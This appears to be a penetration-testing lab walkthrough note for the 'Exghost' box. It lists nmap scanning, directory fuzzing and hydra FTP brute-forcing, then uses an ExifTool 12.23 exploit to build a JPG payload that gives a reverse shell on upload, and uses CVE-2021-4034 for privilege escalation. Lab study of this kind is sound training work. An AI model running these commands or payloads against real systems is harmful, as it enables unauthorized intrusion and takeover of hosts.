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WDavid404 / PG-Box

PG box workthough note
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Exghost (easy) #10

Open WDavid404 opened 4 months ago

WDavid404 commented 4 months ago

keypoints:

Learned:

WDavid404 commented 4 months ago 
PORT   STATE  SERVICE  REASON         VERSION
21/tcp open   ftp      syn-ack ttl 61 vsftpd 3.0.3
80/tcp open   http     syn-ack ttl 61 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: 403 Forbidden

FTP via anonymouse --> faile

search vsftpd 3.0.3 exploit --> https://www.exploit-db.com/exploits/49719 (Remote Denial of Service) search apache 2.4.41 exploit --> no useful info

feroxbuster -u http://192.168.243.183/ -k -C 404,503,502 --> /uploads (301)

ffuf -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 100 -u http://192.168.243.183/FUZZ
--> get more info: /uploads /exiftool /server-status

Access /exiftool --> get version info: '12.23' ---> https://www.exploit-db.com/exploits/50911 --> however, didn't find a way to use it

Try brute-forse FTP: hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://192.168.243.183 image

ftp login ls command --> "229 Entering Extended Passive Mode" resolve: input "passive" command “get backup" to download backup file --> image

Prepare an image python3 50911.py -s 192.168.45.192 4444 --> generate a jpg image file.

curl -POST -F myFile=@/home/kali/pen-200/PGBox/image.jpg 192.168.243.183/exiftest.php -H 'Content-Type: multipart/form-data' -vv --> get reverse shell

linpeas.sh -->CVE-2021–4034 image ---> There is python instead of compiling c++: https://github.com/joeammond/CVE-2021-4034.git --> image